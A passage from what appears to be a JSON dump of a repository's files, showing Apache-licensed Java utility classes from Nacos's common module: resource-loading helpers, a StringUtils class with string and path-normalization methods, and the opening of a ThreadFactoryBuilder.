(resource.startsWith(CLASSPATH_PREFIX)) {\n            String path = resource.substring(CLASSPATH_PREFIX.length());\n            \n            ClassLoader classLoader = ResourceUtils.class.getClassLoader();\n            \n            URL url = (classLoader != null ? classLoader.getResource(path) : ClassLoader.getSystemResource(path));\n            if (url == null) {\n                throw new FileNotFoundException(\"Resource [\" + resource + \"] does not exist\");\n            }\n            \n            return url;\n        }\n        \n        try {\n            return new URL(resource);\n        } catch (MalformedURLException ex) {\n            return new File(resource).toURI().toURL();\n        }\n    }\n    \n    /**\n     * Returns the URL of the resource on the classpath.\n     *\n     * @param loader   The classloader used to load the resource\n     * @param resource The resource to find\n     * @return The resource\n     * @throws IOException If the resource cannot be found or read\n     */\n    public static URL getResourceUrl(ClassLoader loader, String resource) throws IOException {\n        URL url = null;\n        if (loader != null) {\n            url = loader.getResource(resource);\n        }\n        if (url == null) {\n            url = ClassLoader.getSystemResource(resource);\n        }\n        if (url == null) {\n            throw new IOException(\"Could not find resource \" + resource);\n        }\n        return url;\n    }\n    \n    /**\n     * Returns a resource on the classpath as a Stream object.\n     *\n     * @param resource The resource to find\n     * @return The resource\n     * @throws IOException If the resource cannot be found or read\n     */\n    public static InputStream getResourceAsStream(String resource) throws IOException {\n        ClassLoader loader = ResourceUtils.class.getClassLoader();\n        return getResourceAsStream(loader, resource);\n    }\n    \n    /**\n     * Returns a resource on the classpath as a Stream object.\n     *\n     * @param loader   The classloader used to load the resource\n     * @param resource The resource to find\n     * @return The resource\n     * @throws IOException If the resource cannot be found or read\n     */\n    public static InputStream getResourceAsStream(ClassLoader loader, String resource) throws IOException {\n        InputStream in = null;\n        if (loader != null) {\n            in = loader.getResourceAsStream(resource);\n        }\n        if (in == null) {\n            in = ClassLoader.getSystemResourceAsStream(resource);\n        }\n        if (in == null) {\n            throw new IOException(\"Could not find resource \" + resource);\n        }\n        return in;\n    }\n    \n    /**\n     * Returns a resource on the classpath as a Properties object.\n     *\n     * @param resource The resource to find\n     * @return The resource\n     * @throws IOException If the resource cannot be found or read\n     */\n    public static Properties getResourceAsProperties(String resource) throws IOException {\n        ClassLoader loader = ResourceUtils.class.getClassLoader();\n        return getResourceAsProperties(loader, resource);\n    }\n    \n    /**\n     * Returns a resource on the classpath as a Properties object.\n     *\n     * @param loader   The classloader used to load the resource\n     * @param resource The resource to find\n     * @return The resource\n     * @throws IOException If the resource cannot be found or read\n     */\n    public static Properties getResourceAsProperties(ClassLoader loader, String resource) throws IOException {\n        Properties props = new Properties();\n        InputStream in = getResourceAsStream(loader, resource);\n        props.load(in);\n        IoUtils.closeQuietly(in);\n        return props;\n    }\n    \n    /**\n     * Returns a resource on the classpath as a Reader object.\n     *\n     * @param resource The resource to find\n     * @return The resource\n     * @throws IOException If the resource cannot be found or read\n     */\n    public static InputStreamReader getResourceAsReader(String resource, String charsetName) throws IOException {\n        return new InputStreamReader(getResourceAsStream(resource), charsetName);\n    }\n    \n    /**\n     * Returns a resource on the classpath as a Reader object.\n     *\n     * @param loader   The classloader used to load the resource\n     * @param resource The resource to find\n     * @return The resource\n     * @throws IOException If the resource cannot be found or read\n     */\n    public static Reader getResourceAsReader(ClassLoader loader, String resource, String charsetName)\n            throws IOException {\n        return new InputStreamReader(getResourceAsStream(loader, resource), charsetName);\n    }\n    \n    /**\n     * Returns a resource on the classpath as a File object.\n     *\n     * @param resource The resource to find\n     * @return The resource\n     * @throws IOException If the resource cannot be found or read\n     */\n    public static File getResourceAsFile(String resource) throws IOException {\n        return new File(getResourceUrl(resource).getFile());\n    }\n    \n    /**\n     * Returns a resource on the classpath as a File object.\n     *\n     * @param url The resource url to find\n     * @return The resource\n     */\n    public static File getResourceAsFile(URL url) {\n        return new File(url.getFile());\n    }\n    \n    /**\n     * Returns a resource on the classpath as a File object.\n     *\n     * @param loader   The classloader used to load the resource\n     * @param resource The resource to find\n     * @return The resource\n     * @throws IOException If the resource cannot be found or read\n     */\n    public static File getResourceAsFile(ClassLoader loader, String resource) throws IOException {\n        return new File(getResourceUrl(loader, resource).getFile());\n    }\n    \n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/StringUtils.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.ArrayDeque;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Deque;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.StringTokenizer;\nimport java.util.regex.Pattern;\n\n/**\n * string util.\n *\n * @author Nacos\n * @author zzq\n */\npublic class StringUtils {\n    \n    private StringUtils() {\n    }\n    \n    public static final String DOT = \".\";\n    \n    private static final int INDEX_NOT_FOUND = -1;\n    \n    public static final String COMMA = \",\";\n    \n    public static final String EMPTY = \"\";\n    \n    public static final String LF = \"\\n\";\n    \n    private static final String[] EMPTY_STRING_ARRAY = {};\n    \n    public static final String TOP_PATH = \"..\";\n    \n    public static final String FOLDER_SEPARATOR = \"/\";\n    \n    public static final String WINDOWS_FOLDER_SEPARATOR = \"\\\\\";\n\n    public static final Pattern UUID_PATTERN = Pattern.compile(\n            \"^[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}$\");\n    \n    /**\n     * <p>Create a string with encoding format as utf8.</p>\n     *\n     * @param bytes the bytes that make up the string\n     * @return created string\n     */\n    public static String newStringForUtf8(byte[] bytes) {\n        return new String(bytes, StandardCharsets.UTF_8);\n    }\n    \n    /**\n     * <p>Checks if a string is  empty (\"\"), null and  whitespace only.</p>\n     *\n     * @param cs the string to check\n     * @return {@code true} if the string is empty and null and whitespace\n     */\n    public static boolean isBlank(final CharSequence cs) {\n        int strLen;\n        if (cs == null || (strLen = cs.length()) == 0) {\n            return true;\n        }\n        for (int i = 0; i < strLen; i++) {\n            if (!Character.isWhitespace(cs.charAt(i))) {\n                return false;\n            }\n        }\n        return true;\n    }\n    \n    /**\n     * <p>Checks if a string is not empty (\"\"), not null and not whitespace only.</p>\n     *\n     * @param str the string to check, may be null\n     * @return {@code true} if the string is not empty and not null and not whitespace\n     */\n    public static boolean isNotBlank(String str) {\n        return !isBlank(str);\n    }\n    \n    /**\n     * <p>Checks if a str is not empty (\"\") or not null.</p>\n     *\n     * @param str the str to check, may be null\n     * @return {@code true} if the str is not empty or not null\n     */\n    public static boolean isNotEmpty(String str) {\n        return !isEmpty(str);\n    }\n    \n    /**\n     * <p>Checks if a str is empty (\"\") or null.</p>\n     *\n     * @param str the str to check, may be null\n     * @return {@code true} if the str is empty or null\n     */\n    public static boolean isEmpty(String str) {\n        return str == null || str.length() == 0;\n    }\n    \n    /**\n     * <p>Returns either the passed in CharSequence, or if the CharSequence is\n     * empty or {@code null}, the value of {@code defaultStr}.</p>\n     *\n     * @param str        the CharSequence to check, may be null\n     * @param defaultStr the default CharSequence to return if the input is empty (\"\") or {@code null}, may be null\n     * @return the passed in CharSequence, or the default\n     */\n    public static String defaultIfEmpty(String str, String defaultStr) {\n        return isEmpty(str) ? defaultStr : str;\n    }\n    \n    /**\n     * <p>Returns either the passed in CharSequence, or if the CharSequence is\n     * empty or {@code null} or whitespace only, the value of {@code defaultStr}.</p>\n     *\n     * @param str        the CharSequence to check, may be null, may be whitespace only\n     * @param defaultStr the default CharSequence to return if the input is empty (\"\") or {@code null}, may be null\n     * @return the passed in CharSequence, or the default\n     */\n    public static String defaultIfBlank(String str, String defaultStr) {\n        return isBlank(str) ? defaultStr : str;\n    }\n    \n    /**\n     * <p>Returns either the passed in CharSequence, or if the CharSequence is\n     * empty or {@code null} or whitespace only, the value of {@code EmptyString}.</p>\n     *\n     * @param str the CharSequence to check, may be null, may be whitespace only\n     * @return the passed in CharSequence, or the empty string\n     */\n    public static String defaultEmptyIfBlank(String str) {\n        return defaultIfBlank(str, EMPTY);\n    }\n    \n    /**\n     * <p>Compares two CharSequences, returning {@code true} if they represent\n     * equal sequences of characters.</p>\n     *\n     * @param str1 the first string, may be {@code null}\n     * @param str2 the second string, may be {@code null}\n     * @return {@code true} if the string are equal (case-sensitive), or both {@code null}\n     * @see Object#equals(Object)\n     */\n    public static boolean equals(String str1, String str2) {\n        return str1 == null ? str2 == null : str1.equals(str2);\n    }\n    \n    /**\n     * <p>Removes control characters (char &lt;= 32) from both\n     * ends of this String, handling {@code null} by returning {@code null}.</p>\n     *\n     * @param str the String to be trimmed, may be null\n     * @return the trimmed string, {@code null} if null String input\n     */\n    public static String trim(final String str) {\n        return str == null ? null : str.trim();\n    }\n    \n    /**\n     * Substring between two index.\n     *\n     * @param str   string\n     * @param open  start index to sub\n     * @param close end index to sub\n     * @return substring\n     */\n    public static String substringBetween(String str, String open, String close) {\n        if (str == null || open == null || close == null) {\n            return null;\n        }\n        int start = str.indexOf(open);\n        if (start != INDEX_NOT_FOUND) {\n            int end = str.indexOf(close, start + open.length());\n            if (end != INDEX_NOT_FOUND) {\n                return str.substring(start + open.length(), end);\n            }\n        }\n        return null;\n    }\n    \n    /**\n     * <p>Joins the elements of the provided array into a single String\n     * containing the provided list of elements.</p>\n     *\n     * @param collection the Collection of values to join together, may be null\n     * @param separator  the separator string to use\n     * @return the joined String, {@code null} if null array input\n     */\n    public static String join(Collection collection, String separator) {\n        if (collection == null) {\n            return null;\n        }\n        \n        StringBuilder stringBuilder = new StringBuilder();\n        Object[] objects = collection.toArray();\n        \n        for (int i = 0; i < collection.size(); i++) {\n            if (objects[i] != null) {\n                stringBuilder.append(objects[i]);\n                if (i != collection.size() - 1 && separator != null) {\n                    stringBuilder.append(separator);\n                }\n            }\n        }\n        \n        return stringBuilder.toString();\n    }\n    \n    /**\n     * Checks if CharSequence contains a search CharSequence irrespective of case, handling {@code null}.\n     * Case-insensitivity is defined as by {@link String#equalsIgnoreCase(String)}.\n     *\n     * <p>A {@code null} CharSequence will return {@code false}.</p>\n     *\n     * @param str       the CharSequence to check, may be null\n     * @param searchStr the CharSequence to find, may be null\n     * @return true if the CharSequence contains the search CharSequence irrespective of case or false if not or {@code\n     * null} string input\n     */\n    public static boolean containsIgnoreCase(final CharSequence str, final CharSequence searchStr) {\n        if (str == null || searchStr == null) {\n            return false;\n        }\n        String str1 = str.toString().toLowerCase();\n        String str2 = searchStr.toString().toLowerCase();\n        return str1.contains(str2);\n    }\n    \n    /**\n     * Checks if CharSequence contains a search CharSequence.\n     *\n     * @param str       the CharSequence to check, may be null\n     * @param searchStr the CharSequence to find, may be null\n     * @return true if the CharSequence contains the search CharSequence\n     */\n    public static boolean contains(final CharSequence str, final CharSequence searchStr) {\n        if (str == null || searchStr == null) {\n            return false;\n        }\n        return str.toString().contains(searchStr);\n    }\n    \n    /**\n     * <p>Checks if none of the CharSequences are blank (\"\") or null and whitespace only..</p>\n     *\n     * @param css the CharSequences to check, may be null or empty\n     * @return {@code true} if none of the CharSequences are blank or null or whitespace only\n     */\n    public static boolean isNoneBlank(final CharSequence... css) {\n        return !isAnyBlank(css);\n    }\n    \n    /**\n     * <p>Checks if any one of the CharSequences are blank (\"\") or null and not whitespace only..</p>\n     *\n     * @param css the CharSequences to check, may be null or empty\n     * @return {@code true} if any of the CharSequences are blank or null or whitespace only\n     */\n    public static boolean isAnyBlank(final CharSequence... css) {\n        if (ArrayUtils.isEmpty(css)) {\n            return true;\n        }\n        for (final CharSequence cs : css) {\n            if (isBlank(cs)) {\n                return true;\n            }\n        }\n        return false;\n    }\n    \n    /**\n     * <p>Check if a CharSequence starts with a specified prefix.</p>\n     *\n     * <p>{@code null}s are handled without exceptions. Two {@code null}\n     * references are considered to be equal. The comparison is case sensitive.</p>\n     *\n     * @param str    the CharSequence to check, may be null\n     * @param prefix the prefix to find, may be null\n     * @return {@code true} if the CharSequence starts with the prefix, case sensitive, or both {@code null}\n     * @see java.lang.String#startsWith(String)\n     */\n    public static boolean startsWith(final CharSequence str, final CharSequence prefix) {\n        return startsWith(str, prefix, false);\n    }\n    \n    /**\n     * <p>Check if a CharSequence starts with a specified prefix (optionally case insensitive).</p>\n     *\n     * @param str        the CharSequence to check, may be null\n     * @param prefix     the prefix to find, may be null\n     * @param ignoreCase indicates whether the compare should ignore case (case insensitive) or not.\n     * @return {@code true} if the CharSequence starts with the prefix or both {@code null}\n     * @see java.lang.String#startsWith(String)\n     */\n    private static boolean startsWith(final CharSequence str, final CharSequence prefix, final boolean ignoreCase) {\n        if (str == null || prefix == null) {\n            return str == null && prefix == null;\n        }\n        if (prefix.length() > str.length()) {\n            return false;\n        }\n        if (ignoreCase) {\n            String lowerCaseStr = str.toString().toLowerCase();\n            String lowerCasePrefix = prefix.toString().toLowerCase();\n            return lowerCaseStr.startsWith(lowerCasePrefix);\n        } else {\n            return str.toString().startsWith(prefix.toString());\n        }\n    }\n    \n    /**\n     * <p>Case insensitive check if a CharSequence starts with a specified prefix.</p>\n     *\n     * <p>{@code null}s are handled without exceptions. Two {@code null}\n     * references are considered to be equal. The comparison is case insensitive.</p>\n     *\n     * @param str    the CharSequence to check, may be null\n     * @param prefix the prefix to find, may be null\n     * @return {@code true} if the CharSequence starts with the prefix, case insensitive, or both {@code null}\n     * @see java.lang.String#startsWith(String)\n     */\n    public static boolean startsWithIgnoreCase(final CharSequence str, final CharSequence prefix) {\n        return startsWith(str, prefix, true);\n    }\n    \n    /**\n     * <p>Deletes all whitespaces from a String as defined by\n     * {@link Character#isWhitespace(char)}.</p>\n     *\n     * @param str the String to delete whitespace from, may be null\n     * @return the String without whitespaces, <code>null</code> if null String input\n     */\n    public static String deleteWhitespace(String str) {\n        if (isEmpty(str)) {\n            return str;\n        }\n        int sz = str.length();\n        char[] chs = new char[sz];\n        int count = 0;\n        for (int i = 0; i < sz; i++) {\n            if (!Character.isWhitespace(str.charAt(i))) {\n                chs[count++] = str.charAt(i);\n            }\n        }\n        if (count == sz) {\n            return str;\n        }\n        return new String(chs, 0, count);\n    }\n    \n    /**\n     * <p>Compares two CharSequences, returning {@code true} if they represent\n     * equal sequences of characters, ignoring case.</p>\n     *\n     * @param str1 the first string, may be null\n     * @param str2 the second string, may be null\n     * @return {@code true} if the string are equal, case insensitive, or both {@code null}\n     */\n    public static boolean equalsIgnoreCase(String str1, String str2) {\n        return str1 == null ? str2 == null : str1.equalsIgnoreCase(str2);\n    }\n    \n    /**\n     * Splits the provided text into an array with a maximum length, separators specified. If separatorChars is empty,\n     * divide by blank.\n     *\n     * @param str the String to parse, may be null\n     * @return an array of parsed Strings\n     */\n    @SuppressWarnings(\"checkstyle:WhitespaceAround\")\n    public static String[] split(final String str, String separatorChars) {\n        if (str == null) {\n            return null;\n        }\n        if (str.length() == 0) {\n            return new String[0];\n        }\n        if (separatorChars == null) {\n            separatorChars = \" +\";\n        }\n        return str.split(separatorChars);\n    }\n    \n    /**\n     * Tokenize the given {@code String} into a {@code String} array via a {@link StringTokenizer}.\n     *\n     * <p>The given {@code delimiters} string can consist of any number of\n     * delimiter characters. Each of those characters can be used to separate tokens. A delimiter is always a single\n     * character;\n     *\n     * @param str               the {@code String} to tokenize (potentially {@code null} or empty)\n     * @param delimiters        the delimiter characters, assembled as a {@code String} (each of the characters is\n     *                          individually considered as a delimiter)\n     * @param trimTokens        trim the tokens via {@link String#trim()}\n     * @param ignoreEmptyTokens omit empty tokens from the result array (only applies to tokens that are empty after\n     *                          trimming; StringTokenizer will not consider subsequent delimiters as token in the first\n     *                          place).\n     * @return an array of the tokens\n     * @see java.util.StringTokenizer\n     * @see String#trim()\n     */\n    public static String[] tokenizeToStringArray(String str, String delimiters, boolean trimTokens,\n            boolean ignoreEmptyTokens) {\n        \n        if (str == null) {\n            return EMPTY_STRING_ARRAY;\n        }\n        \n        StringTokenizer st = new StringTokenizer(str, delimiters);\n        List<String> tokens = new ArrayList<>();\n        while (st.hasMoreTokens()) {\n            String token = st.nextToken();\n            if (trimTokens) {\n                token = token.trim();\n            }\n            if (!ignoreEmptyTokens || token.length() > 0) {\n                tokens.add(token);\n            }\n        }\n        return toStringArray(tokens);\n    }\n    \n    /**\n     * Copy the given {@link Collection} into a {@code String} array.\n     *\n     * <p>The {@code Collection} must contain {@code String} elements only.\n     *\n     * @param collection the {@code Collection} to copy (potentially {@code null} or empty)\n     * @return the resulting {@code String} array\n     */\n    public static String[] toStringArray(Collection<String> collection) {\n        return (!CollectionUtils.isEmpty(collection) ? collection.toArray(EMPTY_STRING_ARRAY) : EMPTY_STRING_ARRAY);\n    }\n    \n    /**\n     * Check whether the given {@code String} contains actual <em>text</em>.\n     *\n     * <p>More specifically, this method returns {@code true} if the\n     * {@code String} is not {@code null}, its length is greater than 0, and it contains at least one non-whitespace\n     * character.\n     *\n     * @param str the {@code String} to check (maybe {@code null})\n     * @return {@code true} if the {@code String} is not {@code null}, its length is greater than 0, and it does not\n     * contain whitespace only\n     * @see Character#isWhitespace\n     */\n    public static boolean hasText(String str) {\n        return (str != null && !str.isEmpty() && containsText(str));\n    }\n    \n    private static boolean containsText(CharSequence str) {\n        int strLen = str.length();\n        for (int i = 0; i < strLen; i++) {\n            if (!Character.isWhitespace(str.charAt(i))) {\n                return true;\n            }\n        }\n        return false;\n    }\n    \n    /**\n     * Normalize the path by suppressing sequences like \"path/..\" and inner simple dots.\n     *\n     * <p>The result is convenient for path comparison. For other uses,\n     * notice that Windows separators (\"\\\") are replaced by simple slashes.\n     *\n     * <p><strong>NOTE</strong> that {@code cleanPath} should not be depended\n     * upon in a security context. Other mechanisms should be used to prevent path-traversal issues.\n     *\n     * @param path the original path\n     * @return the normalized path\n     */\n    public static String cleanPath(String path) {\n        if (!hasLength(path)) {\n            return path;\n        }\n        \n        String normalizedPath = replace(path, WINDOWS_FOLDER_SEPARATOR, FOLDER_SEPARATOR);\n        String pathToUse = normalizedPath;\n        \n        // Shortcut if there is no work to do\n        if (pathToUse.indexOf(DOT) == -1) {\n            return pathToUse;\n        }\n        \n        // Strip prefix from path to analyze, to not treat it as part of the\n        // first path element. This is necessary to correctly parse paths like\n        // \"file:core/../core/io/Resource.class\", where the \"..\" should just\n        // strip the first \"core\" directory while keeping the \"file:\" prefix.\n        int prefixIndex = pathToUse.indexOf(':');\n        String prefix = \"\";\n        if (prefixIndex != -1) {\n            prefix = pathToUse.substring(0, prefixIndex + 1);\n            if (prefix.contains(FOLDER_SEPARATOR)) {\n                prefix = \"\";\n            } else {\n                pathToUse = pathToUse.substring(prefixIndex + 1);\n            }\n        }\n        if (pathToUse.startsWith(FOLDER_SEPARATOR)) {\n            prefix = prefix + FOLDER_SEPARATOR;\n            pathToUse = pathToUse.substring(1);\n        }\n        \n        String[] pathArray = delimitedListToStringArray(pathToUse, FOLDER_SEPARATOR);\n        // we never require more elements than pathArray and in the common case the same number\n        Deque<String> pathElements = new ArrayDeque<>(pathArray.length);\n        int tops = 0;\n        \n        for (int i = pathArray.length - 1; i >= 0; i--) {\n            String element = pathArray[i];\n            if (DOT.equals(element)) {\n                // Points to current directory - drop it.\n            } else if (TOP_PATH.equals(element)) {\n                // Registering top path found.\n                tops++;\n            } else {\n                if (tops > 0) {\n                    // Merging path element with element corresponding to top path.\n                    tops--;\n                } else {\n                    // Normal path element found.\n                    pathElements.addFirst(element);\n                }\n            }\n        }\n        \n        // All path elements stayed the same - shortcut\n        if (pathArray.length == pathElements.size()) {\n            return normalizedPath;\n        }\n        // Remaining top paths need to be retained.\n        for (int i = 0; i < tops; i++) {\n            pathElements.addFirst(TOP_PATH);\n        }\n        // If nothing else left, at least explicitly point to current path.\n        if (pathElements.size() == 1 && pathElements.getLast().isEmpty() && !prefix.endsWith(FOLDER_SEPARATOR)) {\n            pathElements.addFirst(DOT);\n        }\n        \n        final String joined = collectionToDelimitedString(pathElements, FOLDER_SEPARATOR);\n        // avoid string concatenation with empty prefix\n        return prefix.isEmpty() ? joined : prefix + joined;\n    }\n    \n    /**\n     * Convert a {@code Collection} into a delimited {@code String} (e.g. CSV).\n     *\n     * <p>Useful for {@code toString()} implementations.\n     *\n     * @param coll  the {@code Collection} to convert (potentially {@code null} or empty)\n     * @param delim the delimiter to use (typically a \",\")\n     * @return the delimited {@code String}\n     */\n    public static String collectionToDelimitedString(Collection<?> coll, String delim) {\n        return collectionToDelimitedString(coll, delim, \"\", \"\");\n    }\n    \n    /**\n     * Convert a {@link Collection} to a delimited {@code String} (e.g. CSV).\n     *\n     * <p>Useful for {@code toString()} implementations.\n     *\n     * @param coll   the {@code Collection} to convert (potentially {@code null} or empty)\n     * @param delim  the delimiter to use (typically a \",\")\n     * @param prefix the {@code String} to start each element with\n     * @param suffix the {@code String} to end each element with\n     * @return the delimited {@code String}\n     */\n    public static String collectionToDelimitedString(Collection<?> coll, String delim, String prefix, String suffix) {\n        \n        if (CollectionUtils.isEmpty(coll)) {\n            return \"\";\n        }\n        \n        int totalLength = coll.size() * (prefix.length() + suffix.length()) + (coll.size() - 1) * delim.length();\n        for (Object element : coll) {\n            totalLength += String.valueOf(element).length();\n        }\n        \n        StringBuilder sb = new StringBuilder(totalLength);\n        Iterator<?> it = coll.iterator();\n        while (it.hasNext()) {\n            sb.append(prefix).append(it.next()).append(suffix);\n            if (it.hasNext()) {\n                sb.append(delim);\n            }\n        }\n        return sb.toString();\n    }\n    \n    /**\n     * Check that the given {@code String} is neither {@code null} nor of length 0.\n     *\n     * <p>Note: this method returns {@code true} for a {@code String} that\n     * purely consists of whitespace.\n     *\n     * @param str the {@code String} to check (maybe {@code null})\n     * @return {@code true} if the {@code String} is not {@code null} and has length\n     * @see #hasText(String)\n     */\n    public static boolean hasLength(String str) {\n        return (str != null && !str.isEmpty());\n    }\n    \n    /**\n     * Take a {@code String} that is a delimited list and convert it into a {@code String} array.\n     *\n     * <p>A single {@code delimiter} may consist of more than one character,\n     * but it will still be considered as a single delimiter string, rather than as a bunch of potential delimiter\n     * characters, in contrast to {@link #tokenizeToStringArray}.\n     *\n     * @param str       the input {@code String} (potentially {@code null} or empty)\n     * @param delimiter the delimiter between elements (this is a single delimiter, rather than a bunch individual\n     *                  delimiter characters)\n     * @return an array of the tokens in the list\n     * @see #tokenizeToStringArray\n     */\n    public static String[] delimitedListToStringArray(String str, String delimiter) {\n        return delimitedListToStringArray(str, delimiter, null);\n    }\n    \n    /**\n     * Take a {@code String} that is a delimited list and convert it into a {@code String} array.\n     *\n     * <p>A single {@code delimiter} may consist of more than one character,\n     * but it will still be considered as a single delimiter string, rather than as a bunch of potential delimiter\n     * characters, in contrast to {@link #tokenizeToStringArray}.\n     *\n     * @param str           the input {@code String} (potentially {@code null} or empty)\n     * @param delimiter     the delimiter between elements (this is a single delimiter, rather than a bunch individual\n     *                      delimiter characters)\n     * @param charsToDelete a set of characters to delete; useful for deleting unwanted line breaks: e.g. \"\\r\\n\\f\" will\n     *                      delete all new lines and line feeds in a {@code String}\n     * @return an array of the tokens in the list\n     * @see #tokenizeToStringArray\n     */\n    public static String[] delimitedListToStringArray(String str, String delimiter, String charsToDelete) {\n        \n        if (str == null) {\n            return EMPTY_STRING_ARRAY;\n        }\n        if (delimiter == null) {\n            return new String[] {str};\n        }\n        \n        List<String> result = new ArrayList<>();\n        if (delimiter.isEmpty()) {\n            for (int i = 0; i < str.length(); i++) {\n                result.add(deleteAny(str.substring(i, i + 1), charsToDelete));\n            }\n        } else {\n            int pos = 0;\n            int delPos;\n            while ((delPos = str.indexOf(delimiter, pos)) != -1) {\n                result.add(deleteAny(str.substring(pos, delPos), charsToDelete));\n                pos = delPos + delimiter.length();\n            }\n            if (str.length() > 0 && pos <= str.length()) {\n                // Add rest of String, but not in case of empty input.\n                result.add(deleteAny(str.substring(pos), charsToDelete));\n            }\n        }\n        return toStringArray(result);\n    }\n    \n    /**\n     * Delete any character in a given {@code String}.\n     *\n     * @param inString      the original {@code String}\n     * @param charsToDelete a set of characters to delete. E.g. \"az\\n\" will delete 'a's, 'z's and new lines.\n     * @return the resulting {@code String}\n     */\n    public static String deleteAny(String inString, String charsToDelete) {\n        if (!hasLength(inString) || !hasLength(charsToDelete)) {\n            return inString;\n        }\n        \n        int lastCharIndex = 0;\n        char[] result = new char[inString.length()];\n        for (int i = 0; i < inString.length(); i++) {\n            char c = inString.charAt(i);\n            if (charsToDelete.indexOf(c) == -1) {\n                result[lastCharIndex++] = c;\n            }\n        }\n        if (lastCharIndex == inString.length()) {\n            return inString;\n        }\n        return new String(result, 0, lastCharIndex);\n    }\n    \n    /**\n     * Replace all occurrences of a substring within a string with another string.\n     *\n     * @param inString   {@code String} to examine\n     * @param oldPattern {@code String} to replace\n     * @param newPattern {@code String} to insert\n     * @return a {@code String} with the replacements\n     */\n    public static String replace(String inString, String oldPattern, String newPattern) {\n        if (!hasLength(inString) || !hasLength(oldPattern) || newPattern == null) {\n            return inString;\n        }\n        int index = inString.indexOf(oldPattern);\n        if (index == -1) {\n            // no occurrence -> can return input as-is\n            return inString;\n        }\n        \n        int capacity = inString.length();\n        if (newPattern.length() > oldPattern.length()) {\n            capacity += 16;\n        }\n        StringBuilder sb = new StringBuilder(capacity);\n        \n        int pos = 0;\n        int patLen = oldPattern.length();\n        while (index >= 0) {\n            sb.append(inString, pos, index);\n            sb.append(newPattern);\n            pos = index + patLen;\n            index = inString.indexOf(oldPattern, pos);\n        }\n        \n        // append any characters to the right of a match\n        sb.append(inString, pos, inString.length());\n        return sb.toString();\n    }\n    \n    /**\n     * Apply the given relative path to the given Java resource path, assuming standard Java folder separation (i.e. \"/\"\n     * separators).\n     *\n     * @param path         the path to start from (usually a full file path)\n     * @param relativePath the relative path to apply (relative to the full file path above)\n     * @return the full file path that results from applying the relative path\n     */\n    public static String applyRelativePath(String path, String relativePath) {\n        int separatorIndex = path.lastIndexOf(FOLDER_SEPARATOR);\n        if (separatorIndex != -1) {\n            String newPath = path.substring(0, separatorIndex);\n            if (!relativePath.startsWith(FOLDER_SEPARATOR)) {\n                newPath += FOLDER_SEPARATOR;\n            }\n            return newPath + relativePath;\n        } else {\n            return relativePath;\n        }\n    }\n    \n    /**\n     * Extract the filename from the given Java resource path, e.g. {@code \"myPath/myFile.txt\" &rarr; \"myFile.txt\"}.\n     *\n     * @param path the file path (maybe {@code null})\n     * @return the extracted filename, or {@code null} if none\n     */\n    \n    public static String getFilename(String path) {\n        if (path == null) {\n            return null;\n        }\n        \n        int separatorIndex = path.lastIndexOf(FOLDER_SEPARATOR);\n        return (separatorIndex != -1 ? path.substring(separatorIndex + 1) : path);\n    }\n    \n    /**\n     * Capitalize a {@code String}, changing the first letter to upper case as per {@link Character#toUpperCase(char)}.\n     * No other letters are changed.\n     *\n     * @param str the {@code String} to capitalize\n     * @return the capitalized {@code String}\n     */\n    public static String capitalize(String str) {\n        return changeFirstCharacterCase(str);\n    }\n    \n    private static String changeFirstCharacterCase(String str) {\n        if (!hasLength(str)) {\n            return str;\n        }\n        \n        char baseChar = str.charAt(0);\n        char updatedChar;\n        updatedChar = Character.toUpperCase(baseChar);\n        if (baseChar == updatedChar) {\n            return str;\n        }\n        \n        char[] chars = str.toCharArray();\n        chars[0] = updatedChar;\n        return new String(chars);\n    }\n\n    public static boolean isUuidString(String str) {\n        return UUID_PATTERN.matcher(str).matches();\n    }\n}\n"
  },
  {
    "path": "common/src/main/java/com/alibaba/nacos/common/utils/ThreadFactoryBuilder.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.common.utils;\n\nimport java.util.Locale;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ThreadFactory;\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * build thread factory.\n * @author zzq\n * @date 2021/8/3\n */\npublic class ThreadFactoryBuilder {\n    \n    /**\n     *  Whether it is a daemon thread.\n     */\n    private Boolean daemon = false;\n    \n    /**\n     *   Thread priority.\n     */\n    private Integer priority = null;\n    \n    /**\n     *   Thread name template.\n     */\n    private String nameFormat = null;\n    \n    /**\n     *   Uncaught exception handler.\n     */\n    private Thread.UncaughtExceptionHandler uncaughtExceptionHandler = null;\n\n    /**\n     *   Customize thread factory.\n     */\n    private ThreadFactory customizeFactory = null;\n    \n    /**\n     * set nameFormat property.\n     */\n    public ThreadFactoryBuilder nameFormat(String nameFormat) {\n        checkNullParameter(nameFormat, \"nameFormat cannot be null.\");\n        this.nameFormat = nameFormat;\n        return this;\n    }\n    \n    /**\n     * set priority property.\n     */\n    public ThreadFactoryBuilder priority(int priority) {\n        if (priority > Thread.MAX_PRIORITY || priority < Thread.MIN_PRIORITY) {\n            throw new IllegalArgumentException(\n                    String.format(\"The value of priority should be between %s and %s\", Thread.MIN_PRIORITY + 1, Thread.MAX_PRIORITY + 1)\n            );\n        }\n        this.priority = priority;\n        return this;\n    }\n    \n    /**\n     * set uncaughtExceptionHandler property.\n     */\n    public ThreadFactoryBuilder uncaughtExceptionHandler(\n            Thread.UncaughtExceptionHandler 